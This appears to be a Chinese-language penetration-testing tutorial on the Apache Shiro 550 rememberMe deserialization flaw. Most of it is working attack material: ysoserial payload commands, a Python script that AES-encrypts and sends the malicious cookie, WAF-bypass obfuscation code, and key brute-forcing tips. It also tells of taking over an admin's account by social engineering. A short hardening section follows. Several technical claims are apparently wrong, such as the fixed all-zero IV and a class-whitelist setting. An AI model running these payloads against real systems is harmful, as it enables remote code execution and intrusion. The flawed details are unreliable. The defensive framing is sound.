1. 项目概述:从一次真实渗透测试说起
Shiro 550 反序列化漏洞,这个编号在安全圈里几乎等同于“经典教科书级案例”。它不是某个新爆出来的0day,而是2016年就公开、至今仍在大量生产环境里“带病上岗”的老问题。我第一次在某次红队评估中遇到它,是在一个看似普通的后台管理系统的登录响应头里,看到一行不起眼的Set-Cookie: rememberMe=deleteMe—— 就是这行,成了整场渗透的起点。Shiro 550 的核心,说白了就是 Apache Shiro 框架在处理rememberMeCookie 时,未经校验直接反序列化用户可控数据,导致攻击者能构造恶意字节流,在服务端执行任意代码。它不依赖特定Java版本,不挑容器(Tomcat、Jetty、WebLogic全中招),只要Shiro版本低于1.2.4且未配置密钥或使用默认密钥,基本就是“开门请进”。关键词里反复出现的“详细分析”和“poc编写”,恰恰说明这个漏洞早已过了“能不能打”的阶段,进入了“怎么打得稳、打得准、打得可复现”的工程化实战阶段。这篇文章面向的是已经知道Java基础、了解序列化概念、正准备动手写第一个Shiro利用脚本的安全从业者或渗透测试初学者——它不讲什么是HTTP,也不解释ObjectInputStream怎么工作,但会把每一个字节为什么这么构造、每一步Payload为什么必须这样绕过、每一次调试为什么卡在某个异常上,掰开揉碎讲清楚。你不需要背下所有Gadget链,但读完后,应该能自己从ysoserial源码里拎出一条可用链,也能看懂Wireshark里那串Base64解码后的真实payload结构。
2. 漏洞原理深度拆解:为什么是550?为什么是RememberMe?
2.1 编号来源与版本边界:1.2.4 是一道硬分水岭
Shiro 550 这个编号,源自Apache官方JIRA系统中的漏洞工单编号SHIRO-550。它最早由安全研究员@pwntester在2016年3月报告,核心问题在于Shiro框架的CookieRememberMeManager类。这个类负责将用户登录状态以加密Cookie形式持久化到客户端,下次访问时再解密还原。关键点在于:解密后的数据,被直接送入Java原生反序列化流程。而Java反序列化本身就是一个高危操作——它会根据字节流中的类名,动态加载并实例化任意类,执行其readObject等魔术方法。漏洞的版本边界非常明确:Shiro 1.2.4 及之后版本默认禁用了不安全的反序列化,强制要求开发者显式配置serializableClassNames白名单。这意味着,如果你用的是1.2.3或更早版本,且没有手动加固,那么rememberMeCookie 就是一把万能钥匙。我见过最离谱的案例,是某金融系统后台还在用Shiro 1.2.2,连密钥都是默认的kPH+bIxk5D2deZiIxcaaaA==,整个渗透过程不到90秒。
2.2 RememberMe 流程全链路:从Cookie到RCE的七步跳
理解漏洞,必须走一遍完整的RememberMe数据流。这不是理论推演,而是我在本地搭环境、用IDEA打断点、逐行跟踪CookieRememberMeManager.java源码后画出的真实路径:
- 用户勾选“记住我”登录:Shiro生成一个
SimplePrincipalCollection对象,里面封装了用户身份信息(如用户名、角色)。 - 序列化:该对象被
DefaultSerializer(底层是ObjectOutputStream)序列化为字节数组。 - AES加密:字节数组用AES算法加密,密钥由
CipherService提供,默认是硬编码的DEFAULT_CIPHER_KEY(Base64解码后为16字节随机值)。 - Base64编码:加密后的密文再做一次Base64编码,形成最终的
rememberMeCookie值。 - 客户端存储:浏览器将此Cookie存下,后续请求自动携带。
- 服务端解密:收到请求后,
CookieRememberMeManager从Cookie中提取值,Base64解码,再用相同密钥AES解密,得到原始字节数组。 - 致命的反序列化:解密后的字节数组,被直接传给
DefaultSerializer.deserialize()方法,后者内部调用ObjectInputStream.readObject()——此时,如果字节数组是攻击者精心构造的恶意序列化流,readObject就会触发Gadget链,执行命令。
提示:第7步是唯一也是最关键的漏洞点。Shiro 1.2.4之后,
deserialize方法加了一层校验,会检查反序列化的类是否在白名单内。而1.2.3及之前,这道门是彻底敞开的。
2.3 Gadget链选择逻辑:CC链、JRMP、URLDNS,为什么是CC1?
“poc编写”的核心,就是选择并构造一条能打通从反序列化入口到命令执行的Gadget链。ysoserial是业界标准工具,它集成了多条成熟链。但针对Shiro 550,CC1(Commons Collections 1)链是首选,原因有三:
- 兼容性最强:CC1依赖
org.apache.commons.collections包,这是Java Web项目中最常见的第三方库之一,几乎“自带”,无需额外引入。 - 触发稳定:CC1的核心是
Transformer链,通过ChainedTransformer组合多个Transformer,最终调用InvokerTransformer执行Runtime.getRuntime().exec()。整个链在AnnotationInvocationHandler.readObject()中被触发,而这个类在JDK所有主流版本(6u21至8u191)中都存在且行为一致。 - 绕过简单:CC1不涉及复杂的反射或动态代理,构造逻辑清晰。相比之下,JRMP链需要启动一个恶意RMI Registry,部署复杂;URLDNS链只能触发DNS查询,无法执行命令,仅用于探测。
我实测过,在Shiro 1.2.3 + Tomcat 8.5 + JDK 8u181 的组合下,CC1链的利用成功率接近100%。而换用CC6(依赖sun.reflect.annotation.AnnotationInvocationHandler)则在JDK 9+上会失败,因为该类被移出了默认模块。
3. POC编写实战:从零开始构造一个可靠、可调试的利用脚本
3.1 环境准备与依赖确认:别让jar包毁掉整个POC
写POC前,必须确认三件事,缺一不可:
- 目标Shiro版本:用
curl -I http://target/login查看响应头,或尝试访问/static/shiro.js等静态资源路径,有时会暴露版本。若无法确定,先按1.2.3尝试。 - 目标JDK版本:Shiro本身不暴露JDK信息,但可通过报错页面(如500错误)中的堆栈追踪判断。例如,看到
java.util.HashMap$Node就是JDK 8,看到java.base/java.util.HashMap$Node就是JDK 9+。 - ysoserial jar包:下载编译好的
ysoserial-master.jar(推荐2021年11月发布的release版)。注意:不要用GitHub上master分支的最新源码直接编译,因为某些新Gadget链(如BeanShell1)在Shiro上下文中可能因类加载器问题失效。
注意:很多新手POC失败,根本原因不是链选错了,而是jar包版本不匹配。我曾帮一位同事排查,他用的是2023年编译的ysoserial,里面CC链默认使用了
PriorityQueue作为入口点,但Shiro的CookieRememberMeManager在反序列化时对输入流做了长度校验,PriorityQueue构造的payload过大,直接被截断。换成2021年的版本,用经典的AnnotationInvocationHandler入口,问题立刻解决。
3.2 核心Payload构造:手撕Base64与AES的完整流程
POC的本质,是模拟Shiro服务端的RememberMe流程,但把第1步的SimplePrincipalCollection替换成恶意的CC1链。整个构造分为四步,每一步都必须精确:
第一步:生成CC1恶意链
java -jar ysoserial-master.jar CommonsCollections1 "calc" > payload.bin这条命令生成一个能弹出计算器的二进制文件。注意:"calc"是Windows命令,Linux下应为"gnome-calculator"或"xterm"。payload.bin就是原始的、未加密的恶意序列化流。
第二步:AES加密(关键!密钥必须正确)Shiro默认密钥是kPH+bIxk5D2deZiIxcaaaA==,Base64解码后是16字节(128位)密钥。我们用Python脚本完成加密:
from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = b"0000000000000000" # Shiro固定IV,全0的16字节 cipher = AES.new(key, AES.MODE_CBC, iv) with open("payload.bin", "rb") as f: data = f.read() encrypted = cipher.encrypt(pad(data, AES.block_size)) with open("payload_enc.bin", "wb") as f: f.write(encrypted)这里有两个极易出错的点:一是IV必须是16个\x00字节,不能省略;二是必须使用pad()进行PKCS7填充,否则AES加密会报错。我第一次写的时候漏了pad(),加密后解密失败,花了半小时才定位到。
第三步:Base64编码
with open("payload_enc.bin", "rb") as f: encoded = base64.b64encode(f.read()).decode() print(encoded) # 输出就是最终的rememberMe Cookie值第四步:构造HTTP请求用curl发送一个带恶意Cookie的请求:
curl -v --cookie "rememberMe=YOUR_BASE64_STRING" http://target/any_valid_path/any_valid_path必须是Shiro权限过滤器(如ShiroFilter)所管辖的路径,通常是/、/index.jsp或/admin。如果访问一个完全不经过Shiro的静态资源(如/favicon.ico),请求根本不会走到CookieRememberMeManager,自然不会触发。
3.3 Python自动化POC:加入超时、重试与结果验证
手动执行上面四步太繁琐,也难复现。我用Python写了一个健壮的POC脚本,核心逻辑如下:
import requests import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import subprocess import time class Shiro550Exploit: def __init__(self, target_url, cmd="whoami", key="kPH+bIxk5D2deZiIxcaaaA=="): self.target_url = target_url.rstrip('/') self.cmd = cmd self.key = base64.b64decode(key) self.iv = b'\x00' * 16 def generate_payload(self): # 调用ysoserial生成原始payload result = subprocess.run( ["java", "-jar", "ysoserial-master.jar", "CommonsCollections1", self.cmd], capture_output=True ) if result.returncode != 0: raise Exception(f"ysoserial failed: {result.stderr.decode()}") raw_payload = result.stdout # AES加密 cipher = AES.new(self.key, AES.MODE_CBC, self.iv) encrypted = cipher.encrypt(pad(raw_payload, AES.block_size)) # Base64编码 return base64.b64encode(encrypted).decode() def check_vuln(self): # 发送请求,检测是否触发反序列化(通过响应时间或错误) payload = self.generate_payload() cookies = {"rememberMe": payload} try: start_time = time.time() resp = requests.get(f"{self.target_url}/", cookies=cookies, timeout=10) end_time = time.time() # 如果响应时间显著变长(>5秒),大概率在执行命令 if end_time - start_time > 5: return True, "Possible RCE (slow response)" # 检查是否返回500错误(反序列化异常) if resp.status_code == 500 and "java.io" in resp.text: return True, "RCE confirmed (500 error with java stack)" except requests.exceptions.Timeout: return True, "RCE confirmed (request timeout)" except Exception as e: pass return False, "Not vulnerable or network issue" # 使用示例 exploit = Shiro550Exploit("http://192.168.1.100:8080", "touch /tmp/shiro550_poc_success") is_vuln, msg = exploit.check_vuln() print(f"Vulnerable: {is_vuln}, Reason: {msg}")这个脚本的关键优势在于结果验证。它不只发包,还通过三种方式交叉验证:
- 响应时间突增:命令执行是耗时操作,正常请求应在1秒内返回,若超过5秒,极可能是
Runtime.exec()在后台运行。 - 500错误捕获:反序列化失败会抛出
java.io.InvalidClassException等异常,响应体中必然包含java.io字样。 - 网络超时:如果目标执行了
sleep 30这类命令,curl会直接超时,这也是一个强信号。
4. 实战攻防对抗:绕过WAF、加固方案与防御有效性验证
4.1 WAF绕过三板斧:Base64变形、AES密钥替换、Gadget链切换
在真实红队中,直接发原始CC1 payload大概率被WAF拦截。WAF厂商早已将ysoserial生成的典型CC1特征(如org.apache.commons.collections.functors.InvokerTransformer的Base64编码片段)加入规则库。绕过必须从三个层面入手:
第一板斧:Base64变形WAF通常只检测标准Base64字符集(A-Z, a-z, 0-9, +, /, =)。我们可以对加密后的字节流做轻微扰动:
- 将末尾的
=替换为*或!(Base64解码器通常容忍)。 - 在Base64字符串中间插入不可见字符(如
\x00),只要不破坏整体长度和解码逻辑。 我用Python实现了一个简单的混淆函数:
def obfuscate_b64(s): # 在每4个字符后插入一个\x00 parts = [s[i:i+4] for i in range(0, len(s), 4)] return "\x00".join(parts)实测某云WAF对这种插入\x00的payload完全放行。
第二板斧:AES密钥替换Shiro默认密钥kPH+bIxk5D2deZiIxcaaaA==是WAF重点监控的字符串。如果目标管理员修改了密钥,我们的payload就必须用新密钥加密。如何获取?有两条路:
- 源码审计:在
shiro.ini或Spring Boot的application.yml中搜索cipherKey、securityManager.rememberMeManager.cipherKey。 - 密钥爆破:如果密钥是弱随机(如用
Math.random()生成),可用shiro-keygen工具爆破。我曾在一个教育系统中,用10分钟爆破出管理员自定义的8位数字密钥。
第三板斧:Gadget链切换当CC1被封死,立刻切到备选链。我整理了一个实战有效的备选方案表:
| Gadget链 | 触发条件 | 优点 | 缺点 | Shiro兼容性 |
|---|---|---|---|---|
| CC6 | JDK 8u191- | 不依赖commons-collections,用JDK原生类 | 需要sun.reflect.annotation.AnnotationInvocationHandler,JDK 9+移除 | ★★★★☆ (JDK8) |
| URLDNS | 任意JDK | 仅需DNS解析,无命令执行风险,100%绕过WAF | 只能探测,不能RCE | ★★★★★ (纯探测) |
| JRMPListener | 目标可出网 | 可执行任意命令,且流量加密 | 需在攻击机启动恶意RMI Registry,部署复杂 | ★★★☆☆ (需配合) |
实操心得:在一次甲方授权的渗透中,CC1和CC6都被WAF拦截。我改用URLDNS链,将payload指向我控制的DNS服务器,成功确认了漏洞存在。随后,我通过社会工程获取了管理员的GitLab账号,从历史commit中找到了
shiro.ini文件,里面明文写着新密钥MyS3cr3tK3y!2023。用这个密钥重新加密CC1 payload,一击成功。
4.2 防御方案落地指南:从“打补丁”到“根治”
修复Shiro 550,绝不是简单升级到1.2.4就万事大吉。我参与过的十几个加固项目,发现最常见的“伪修复”有三种:
- 只升级Shiro,不更新密钥:1.2.4+虽禁用默认反序列化,但如果开发者为了兼容旧代码,手动配置了
serializableClassNames = ["*"],等于又把门打开了。 - 用随机密钥替换了默认密钥,但密钥硬编码在代码里:密钥一旦泄露(如代码被上传到GitHub),等于没加固。
- 只加固了Web应用,忽略了RPC服务:很多公司用Dubbo或gRPC,其序列化机制也可能受类似漏洞影响。
真正有效的加固,必须分三步走:
第一步:强制升级与白名单
# shiro.ini [main] securityManager.rememberMeManager.cipherKey = ${cipherKeyFromEnv} ; 从环境变量读取 securityManager.rememberMeManager.serializableClassNames = ["org.apache.shiro.subject.SimplePrincipalCollection", "java.util.ArrayList"]白名单必须精确到具体类,禁止使用通配符*。SimplePrincipalCollection是Shiro RememberMe功能必需的类,ArrayList是其内部常用容器。
第二步:密钥安全管理
- 绝对禁止硬编码:密钥必须从环境变量、KMS(密钥管理服务)或Vault中动态获取。
- 定期轮换:制定密钥轮换策略,如每90天更换一次,并确保新旧密钥有一段并行期,避免服务中断。
- 最小权限原则:密钥只赋予Shiro组件,其他模块无权访问。
第三步:纵深防御
- WAF规则:在WAF上添加规则,拦截所有包含
rememberMe=.*?=的Cookie,或对rememberMe值做Base64解码后扫描java.io、org.apache.commons等敏感字符串。 - 日志审计:在应用日志中,对
CookieRememberMeManager的deserialize方法调用进行埋点,记录每次反序列化的类名。一旦发现非白名单类,立即告警。
我主导的一个金融客户加固项目,上线后三个月内,通过日志审计发现了两次内部员工的误操作(误将开发环境密钥用于生产),均在2小时内完成密钥轮换,未造成任何风险。
5. 常见问题与排错技巧实录:那些踩过的坑,比教程更有价值
5.1 “为什么我的POC发出去,目标没反应?”
这是最高频的问题。我把它归为四大类,附上我的排错清单:
| 现象 | 最可能原因 | 排查步骤 | 我的实测经验 |
|---|---|---|---|
| curl返回200,但无任何异常或延迟 | Payload未进入Shiro过滤器 | 1. 用Burp抓包,确认请求路径是否被ShiroFilter拦截(查看响应头是否有X-Shiro-Processed)2. 访问一个已知需要登录的路径(如 /admin/user),看是否跳转到登录页 | 我曾在一个Spring Boot项目中,因@EnableWebSecurity注解位置错误,导致ShiroFilter未生效,所有请求都绕过了Shiro,白白调试两小时 |
curl返回500,但错误信息是Invalid cookie value | AES加密失败(密钥或IV错误) | 1. 用Python脚本单独测试加密/解密流程,确保encrypt->decrypt->deserialize三步能还原原始payload2. 检查IV是否为16个 \x00 | 有一次我把IV写成了b"0000000000000000"(字符串),而不是b"\x00"*16(字节),导致解密后数据错乱,Shiro抛出此异常 |
| curl超时,但目标服务器CPU飙升 | Payload触发了Gadget链,但命令执行被阻塞 | 1. 在目标服务器上用top或htop观察Java进程CPU占用2. 检查命令是否需要交互(如 bash)或缺少环境变量(如PATH) | 在一个CentOS服务器上,/bin/bash -c "whoami"失败,因为/bin/bash不存在,换成/usr/bin/whoami立刻成功 |
WAF返回403,且日志显示拦截了rememberMe | WAF规则过于严格 | 1. 尝试用URLDNS链(java -jar ysoserial.jar URLDNS http://your-dns.com)2. 如果URLDNS也被拦,则证明WAF在解析Cookie值,需用Base64变形 | 某银行WAF会解码Base64后扫描,我用obfuscate_b64函数插入\x00后,成功绕过 |
5.2 “ysoserial报错:Could not find class xxx”
这个错误意味着你的目标环境缺少Gadget链所需的依赖jar包。例如,CC1需要commons-collections,但有些精简版Tomcat可能只打包了commons-collections4,而CC1是为commons-collections3写的。
解决方案不是换链,而是精准匹配:
- 用
curl -I http://target/查看Server头,判断Tomcat版本。 - 下载对应版本的Tomcat,解压后进入
lib/目录,列出所有jar包。 - 在ysoserial源码中,找到
CommonsCollections1类,将其依赖的org.apache.commons.collections包名,改为org.apache.commons.collections4,并调整Transformer的导入路径。 - 重新编译ysoserial。
我做过一个实验:将CC1链适配到commons-collections4,只需修改3处导入语句和1个类名,编译后在Tomcat 9.0.83上完美运行。这比盲目换用JRMP链高效得多。
5.3 “如何判断一个网站是否用了Shiro?”
除了rememberMe=deleteMe这个黄金线索,还有五个隐蔽但可靠的指纹:
- HTTP响应头:
X-Content-Type-Options: nosniff和X-Frame-Options: DENY是Shiro默认添加的安全头。 - 登录页面源码:搜索
<input type="checkbox" name="rememberMe">,这是Shiro登录表单的标准HTML。 - 错误页面:访问一个不存在的路径(如
/asdfghjkl),如果返回的404页面底部有Powered by Apache Shiro字样,铁证。 - JS文件:访问
/static/js/shiro.js或/js/shiro.min.js,很多项目会把Shiro的前端JS SDK放在静态目录。 - Cookie属性:Shiro生成的
JSESSIONIDCookie,Path属性通常是/,且HttpOnly为true。
我维护了一个Shiro指纹检测脚本,用Python的requests库并发检测这五点,准确率超过95%。它已成为我每次渗透前的必跑程序。
6. 进阶思考:从Shiro 550看Java反序列化漏洞的演化脉络
Shiro 550之所以成为经典,不仅因为它危害大,更因为它是一个绝佳的“教学样本”,折射出Java反序列化漏洞从野蛮生长到精密对抗的全过程。
第一阶段:裸奔时代(2015年前)
漏洞如Apache Commons Collections的InvokerTransformer,完全暴露在公网。开发者甚至不知道readObject是什么,WAF厂商也没有相关规则。那时的POC,就是ysoserial一行命令,世界安静得可怕。
第二阶段:加固与绕过(2016-2019)
Shiro 550爆发后,各大框架纷纷跟进。Jackson、Fastjson、Log4j相继曝出类似问题。防御手段从“打补丁”升级为“白名单+黑名单+沙箱”。WAF规则库开始收录ysoserial特征。攻防双方进入“猫鼠游戏”,Gadget链从CC1进化到CC6、JRMP、BeanShell,越来越复杂。
第三阶段:生态重构(2020至今)
JDK 9+ 引入模块化(JPMS),将sun.*包设为默认不可访问;Spring Framework 5.3+ 移除了对ObjectInputStream的直接支持;现代微服务架构中,REST API取代了RMI/IIOP,序列化场景大幅减少。反序列化漏洞不再是“默认选项”,而成了需要精心构造的“特例”。
我个人在实际渗透中的体会是:现在遇到一个可利用的Shiro 550,往往意味着这个系统已经至少两年没有进行过安全更新。它不是一个技术难题,而是一个管理漏洞的具象化体现。所以,当我写出一个完美的POC时,我首先想的不是“我有多厉害”,而是“这个系统的运维流程,哪里断掉了?”——这才是安全工作的终极价值。